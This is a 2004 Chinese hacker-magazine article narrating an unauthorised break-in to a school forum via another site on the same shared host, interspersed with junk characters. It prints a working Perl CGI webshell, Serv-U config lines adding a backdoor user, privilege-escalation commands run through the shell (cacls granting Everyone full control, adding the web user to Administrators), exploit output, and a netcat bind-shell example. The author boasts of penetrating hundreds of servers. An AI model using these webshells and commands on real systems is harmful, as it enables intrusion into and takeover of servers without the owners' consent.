剑走偏锋——灵巧的旁注攻击 & o- B \% j- b+ w; Q
本文作者:angel
4 P6 M; J! e: u* A文章性质:原创& k1 E! N4 o- e. @
发布日期:2004-11-09
M. n" {7 ]; ~注意:
* S- g% s) V6 @本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
4 Y" \% R& ~5 i6 D9 G! h本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。- j. C* ~2 H# S' L% u
7 ~0 ^! j5 I. a( E4 L, G! w
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
/ Z i. \4 q* l) M1 J
7 z& l$ @( C, _+ }/ M, q 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 5 ?% M( f+ s1 ^4 z$ `( q# w3 a+ @
+ V* j% X+ `& ^7 u& G$ i+ F( c
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
6 u) r- J$ Q8 E, b
E" ]+ M% q8 P8 a 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 & |0 K# t$ A5 T1 s+ |! v& U9 S. K
8 n) ?* }2 `3 ?9 K' Y1 O
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 : a* x: @2 H- J+ ?
Z T9 ]1 d- _8 u% o
没有目的的跳转目录着…… % N ^4 c7 J" G$ I. _9 v
3 X C& b# d1 D 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… * S- _- F1 ~* }6 ^. O& L
; o! }) M! R; _9 |) u. E; n 结束了吗?不,我试着 FTP 一下:
" C4 I& o' H# Z2 K- }% Y
! o. z! U8 ^: G4 | J" pMicrosoft Windows 2000 [Version 5.00.2195]
# ^& R! L0 }9 w2 A2 M, o(C) 版权所有 1985-2000 Microsoft Corp. 8 ^5 D. p, b6 O# V
; _$ d p( s, ?6 q, L- h" Y# B1 {C:\Documents and Settings\Administrator>ftp www.school.com1 T/ g% u( e" F {
Connected to www. school.com. ) a( n% V! g" k8 d
220 Welcome to FTP Server... & A: ~) B% Y0 K9 e3 p; m% o) [
User (www.bjtrq.com:(none)):
( G& s3 e- g# V# }! u1 c; @2 N331 User name okay, need password. 3 {% Y) ~2 t Y0 B, x8 y% b
Password:
* W' q! f8 y' D- D8 {530 Not logged in.
9 J( e, w/ }. e4 Y \ V4 yLogin failed. 0 T# m) F) V* O
ftp> bye
2 T9 `, o( F* e* u. Y: J& P# Z221 Goodbye! : r7 i: l2 g+ h- k8 O- |
& t- b% k1 D4 P$ N, G7 O8 E
& V7 a6 Y+ f% \5 A" Q) x5 }, m) o, \ 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
7 W1 W8 h: i( x9 { J5 B7 e0 ^) R3 w3 w! x& ~
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
+ h$ r9 U& D' p' X: ~) _& S
& I) O |. z- ~' W4 O0 R' G2 EApplication Data# W3 Q/ R& }5 L3 t
Documents
6 N/ B0 E! l/ p+ lDRM3 B5 p: d! ?/ u1 O- A. F
Favorites2 K2 q. B8 ~: G$ H! |
Templates& V/ {" l) K; X, R- F
「开始」菜单
4 N" k- J. K4 D0 @- w$ b, ?桌面) j6 E6 O( m z5 [0 p
/ v9 \6 O" I6 d/ E8 {8 ~: ~
) `( \1 @ B5 a7 u
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, # w( K3 A6 @0 U' u
" N% Y v, ~& }
ActiveState ActivePerl 5.85 t) Z; _; c: B8 C8 S/ y% l' b% @, s w
Administrative Tools
$ l# Z( c% w- ^" jDeerfield.com
" b" u) {( N% i0 j: D, U uDTemp$ S N! ^9 P, Q; l1 p
IPSentry
. F6 l; `4 k& k7 r1 l& ^MBM 5
7 C: z0 W, c+ E( g8 d7 eNetMeter$ a5 O; Z. D0 k+ b2 I
Network ICE
' O' }. D( \9 q$ l% P1 D1 WPersits Software AspEmail5 ]! A: g0 |& C' m
Persits Software AspJpeg y% N0 ]) B3 j5 ~5 L5 S: ~$ \9 J
Serv-U FTP Server; X G* ?4 m% b
Symantec Client Security7 Y/ y/ M, \( U9 U# F
Windows 优化大师1 `4 z4 K8 f* a" S6 I0 S8 W3 W. _
WinRAR5 M$ p. ~' l- N9 Q$ _0 X) T
启动
& P. K( k; G1 X$ T5 g( E% P管理工具
4 c* j9 J: }' w. M' m' N; }4 r附件' S% R t o( f. f+ }: R
& d% y# V- X# K+ W/ b3 L, F
( t0 ]& ~' c$ V2 v% b 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 0 A9 J+ A& Z' n) R/ R
; c$ t0 d9 _" i! q d. s 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 4 Q. h9 N7 l0 K' V+ f
. W# [' l9 g6 l, a9 }) W5 _4 D7 A
User281=angel|1|0
( S. p, u0 K" @ & h% k2 I+ s4 I. |/ g% U
' |1 S% {1 z7 l3 {. h4 y" W# }; K 然后加上
1 m8 L9 ^8 `) ?9 Z/ E( a. P& A( g! K% |
[USER=angel|1]( Y7 U3 i% h2 O4 y- g( k! L8 F
Password=ng98F85379EA68DBF97BAADCA99B69B805
* C4 Q- ]+ t# n( v- W* o, [HomeDir=D:\websites, Y1 h: e1 x+ I
RelPaths=1" C5 F p; X) T: ~/ @
TimeOut=600
' ~3 h: e0 U) WMaintenance=System& h4 }; p6 T* n9 o7 B1 m& s
Access1=D:\websites|RWAMELCDP
& p9 a+ \: @1 u& m; a oSKEYValues=* z9 z1 d: ~. M. y8 G) A8 |* H( c4 E
# `9 H- A" d7 T3 y8 y9 @
2 P% |# `1 }0 w! r1 k$ z7 ~, _ 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
4 I) W2 R1 V6 V3 U' {1 X9 P; Z$ I
2 W0 k. T& ~# k) i4 u7 h: l 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 g% h K( e ^: t
* a Q6 T& P7 D7 T ?# u' W% O
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
4 O3 V4 B# z6 E! W. I) w( v. p/ N7 G7 m: e1 ~
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: ! |* d3 V# [" O/ l( j+ ~
f Y* Z' V% L/ F( A S( d
#!/usr/bin/perl, o$ Y, p/ Z j4 t! F- }5 y0 o
binmode(STDOUT);2 Z( V0 u! f W0 Q/ D1 Z
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
' ` e/ B* l& z# f6 n$_ = $ENV{QUERY_STRING};4 f- ^' V+ D; f* U0 Z: U
s/%20/ /ig;/ [2 w: n/ z2 {
s/%2f/\//ig;
$ Q4 y9 f7 i7 n8 _, V5 P$execthis = $_;, [, D7 ?2 A: c6 R) R
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
5 |$ G8 l3 k+ ~/ U( y3 a1 R5 jopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR"; K x( j* g2 ]# o4 T
system($execthis);
# v5 z S% }3 i& U6 asyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
: c( i9 Q, {' e# f* {! |close(STDERR);
; | K4 ^& Z* t3 y! g' x7 F# Cclose(STDOUT);
0 g. ~3 r& g+ _exit;
* m7 f5 n! z2 y4 U0 p& A( \, l 3 j, y2 `6 p: ?, u9 ^9 ?7 R
, {8 D. @ K+ j
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
; M% |& R) |6 a) a& O0 }* J
: F7 W8 \0 z) w0 w+ G+ [ 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 3 v. q" X4 j$ [; E# ~* w/ E+ s) m
! u) q6 @2 O" C" h6 u9 v
http://anyhost//cmd.pl?d:\user\bin\su.exe
5 l7 |/ b/ N2 G) S 4 p$ K K" z& e: e# J2 y$ B- O
2 z; _3 {$ Z0 k" {" x- m
返回: # R8 J! o2 u- `
/ X$ y9 }. l6 w* Y0 QServ-u >3.x Local Exploit by xiaolu
3 y" G2 f+ F# B6 I5 `
$ H6 {% T" _* G9 }2 H+ v7 O z' |USAGE: serv-u.exe "command" 5 w9 a; O* y# J1 W3 d9 b
. `; h$ M$ D; h" u
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
0 u& z5 t u: l7 @
0 L% r6 E$ K/ f6 {; I) |+ d {# y
/ A$ E0 J0 n* ]; v% V+ l 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
4 z2 i9 P5 T# S X) Q: t2 C) A/ x2 w, \& p4 N; o+ S. A
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" " N4 W+ \! g \8 p& t4 m
% p: E$ C p) H3 Mhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 3 Y$ E) v5 O/ v+ h
- G9 e% r$ S' O0 R! q- J
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
4 N e C3 l. ?. a
0 Z- G% G1 u2 i' Z) L5 xhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
) m% c+ c- H& s/ [' O+ p' J 7 b) u0 Y4 `5 E- I% M$ f m
$ N" P) m$ H/ E 返回下面的信息,就表示成功了!!! : {8 s% w/ ]' e, l- P
4 q, m0 v) Y7 s, I% Q# Y7 g
Serv-u >3.x Local Exploit by xiaolu ( y- p: S& m% U8 x
5 X" }. v) H5 s
<220 Serv-U FTP Server v5.2 for WinSock ready... $ C# J$ M% |7 a# E& [' I
! h! L& |5 ?/ }! K( A, O( |
>USER LocalAdministrator + F; U6 l% H( g' t9 u6 N9 K
2 o2 k; q: g7 m6 [# ?/ o8 d a5 c8 V
<331 User name okay, need password.
9 Q* @* I" s/ q/ l+ R% t P9 R3 B# ]" J
****************************************************** ) j9 W; T9 E6 S6 J- h
6 _! g+ `4 W @3 a( C9 S" \>PASS #l@$ak#.lk;0@P
1 R3 {; R3 d3 P2 j. r( j5 F+ s: ]% z% m4 p/ [) {) _$ Q; _
<230 User logged in, proceed. & S* f) f: r9 l9 d2 n1 c
/ x5 g/ ~/ N8 P: W% ^+ P****************************************************** * p9 V( U4 G* G' A& u- C8 E
7 ]) `$ w: n! l/ [>SITE MAINTENANCE / V7 l2 g, u2 F
* G3 A3 n7 c: g2 [ B" ]****************************************************** 4 O0 _" `0 q# o1 i- K+ P6 c7 s
: R: V1 K/ e3 s a4 G0 ^( d[+] Creating New Domain...
- E3 L" G- [) W/ a$ d4 D# b3 z6 G" V" p; n: x1 ` x. I
<200-DomainID=2 + c% s* @ ]- I( }0 Z4 ]0 h
% i# ~" S7 W, z+ u5 J0 x
<220 Domain settings saved
- G$ M/ ~' r2 b8 O9 \8 ~
9 {2 R& u* `+ I0 Q3 V****************************************************** * G1 s! t$ ?$ f
, A; f2 w) m: h( ?, o3 ^! ~[+] Domain xl:2 Created
5 R8 r, i; U0 h5 @4 y3 o
) U9 [7 B0 i J' T+ K# ~[+] Creating Evil User
/ a' {' S0 k5 O) e
* n2 R+ ~4 M2 x8 J; L( o<200-User=xl
* Q# ]* r9 R9 C7 `7 p! K
5 |) F/ D `+ ?! p+ _$ a' p200 User settings saved 1 }" Z4 T/ } {' V
% x. N4 [8 d$ e2 J+ |****************************************************** ' ?+ x( u) h9 I- f1 x! j. A
; G5 H' A) x; |9 G6 _3 W
[+] Now Exploiting... 6 K# N( l# Z! z" E% U# D3 U; p
+ S6 q! ~/ _. {4 @% K% v
>USER xl 0 r3 e6 P" L; I* m/ g
6 j7 s! E% G9 G2 M- A- @2 B
<331 User name okay, need password.
! r. T& m, \; g& r
$ R( [& C$ S, U1 ~) |% t* r" u******************************************************
, \# V4 \. g" K! v/ N( B1 u+ |; Q
3 Q) |, q Z2 \& _4 `% r: I>PASS 111111
* q7 h5 g2 u2 Q& I9 [
H9 P+ X$ y, f( y. N5 e0 L<230 User logged in, proceed.
* U2 s% t9 J$ `* o
" q1 h3 l6 N2 f. q- i. j6 ^+ T******************************************************
0 [3 C8 ~" f% r" j, ?6 ~
, R, L5 j- v J[+] Now Executing: cacls.exe c: /E /T /G everyone:F t6 D% {3 u6 h6 g% E: v
6 U" o) _/ z! j. g6 Q<220 Domain deleted
/ d/ E6 A/ ^; C( A" a b) e; {' k: K5 s9 C
******************************************************
' a4 p, z+ Z: n( _% W j6 h0 J7 L
8 {0 a I( C# D* Z& j' ~ g: V* F- u) a! [/ ^2 t ~7 T+ _
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
8 @' ]( ^5 s2 L0 k* c# q: _% x1 b
* i+ f8 U% \# F* D U' uhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" ! f5 _) ^) n. U# R b5 ?
/ R- _/ A+ ]% B9 x* O
. V+ D: y+ f8 e1 Q1 V5 }
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
3 m8 J1 D0 H' m4 F
9 A; _" u# {' F/ S 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
) r! d- _/ S- M. L1 \
3 [& t( W9 F! Z* l . j, y6 K y3 z+ H, S+ J
|